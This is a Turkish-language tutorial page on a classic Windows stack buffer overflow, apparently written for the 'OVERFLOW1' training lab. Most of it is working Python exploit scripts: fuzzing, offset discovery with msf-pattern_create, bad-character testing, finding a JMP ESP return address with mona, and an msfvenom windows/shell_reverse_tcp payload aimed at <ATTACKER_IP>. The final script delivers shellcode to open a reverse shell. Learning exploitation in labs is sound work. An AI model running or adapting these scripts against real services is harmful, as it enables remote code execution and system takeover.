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On this page
  • Fuzzing
  • Finding Crash Point
  • Finding Bad Characters
  • Jump Point

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  1. Diger

Buffer Overflow

PreviousStegoNextPhishing

Last updated 1 year ago

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Immunity Debugger:

Mona:

Fuzzing

İlk adım olarak aşağıdaki kod ile hangi aralıkta kodun çökütünü buluyoruz.

import socket, time, sys

ip = "<IP>"

port = <PORT>
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Finding Crash Point

Kodun çöktüğü uzunluğu bulduğumuza göre tam olarak hangi adreste crash verdiğini bulmalıyız. Alttaki komut ile bir payload oluşturuyoruz.

msf-pattern_create -l <LENGTH>

Oluşan payload'u yerleştiriyoruz ve kodu çalıştırıyoruz.

import socket

ip = "<IP>"
port = <PORT>

prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = "<PAYLOAD>"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Debugger aracına aşağıdaki komutu giriyoruz ve EIP kısmında crash veren tam adresi buluyoruz.

!mona findmsp -distance <LENGTH>

# EIP contains normal pattern : ... (offset XXXX)

Test etmek için retn kısmına "BBBB" gönderiyoruz. Bu kodu çalıştırdığımızda EIP Register 424242 olmalı.

import socket

ip = "<IP>"
port = 1337

prefix = "OVERFLOW1 "
offset = <OFFSET>
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Finding Bad Characters

!mona bytearray -b "\x00"

Aşağıdaki kod ile bütün karakterleri gönderiyoruz.

import socket

ip = "<IP>"
port = 1337

prefix = "OVERFLOW1 "
offset = <OFFSET>
overflow = "A" * offset
retn = "BBBB"
padding = ""
payload = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")

Program crash verdiğimde aşağıdaki komut ile bad characterleri buluyoruz.

!mona compare -f bytearray.bin -a <ESP_ADDRESS>

Bulduğumuz karakterler ile yeni bir bytearray oluşturuyoruz. Aynı zamanda payload'umuzdan bu karakterleri çıkartıyoruz.

!mona bytearray -b "\x00\x07\x2e\xa0"

Program bir daha crash verdikten sonra aşağıdaki komutu çalıştırıyoruz. Eğer hiçbir bad character bulmuyorsa doğru yoldayız.

!mona compare -f bytearray.bin -a <ESP_ADDRESS>

Jump Point

Program crash halindeyken aşağıdaki komut ile atlayabileceğimiz adresleri buluyoruz.

!mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

Adreslerden rastgele birini seçin ve ters çevirerek koddaki retn kısmına yazın.

0x625011af ->  \xaf\x11\x50\x62

Sonrasında reverse shell için bir payload oluşturalım. b parametresine bad characterleri yazalım

msfvenom -p windows/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c

Aşağıdaki koda payload kısmını yazıyoruz ve kodu çalıştırıyoruz. Eğer her şey doğru ise netcat ile reverse shell alabiliriz.

import socket

ip = "<IP>"
port = 1337

prefix = "OVERFLOW1 "
offset = <OFFSET>
overflow = "A" * offset
retn = "\xaf\x11\x50\x62"
padding = "\x90" * 16
payload = ("<PAYLOAD>")

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
  s.connect((ip, port))
  print("Sending evil buffer...")
  s.send(bytes(buffer + "\r\n", "latin-1"))
  print("Done!")
except:
  print("Could not connect.")
https://www.immunityinc.com/products/debugger
https://github.com/corelan/mona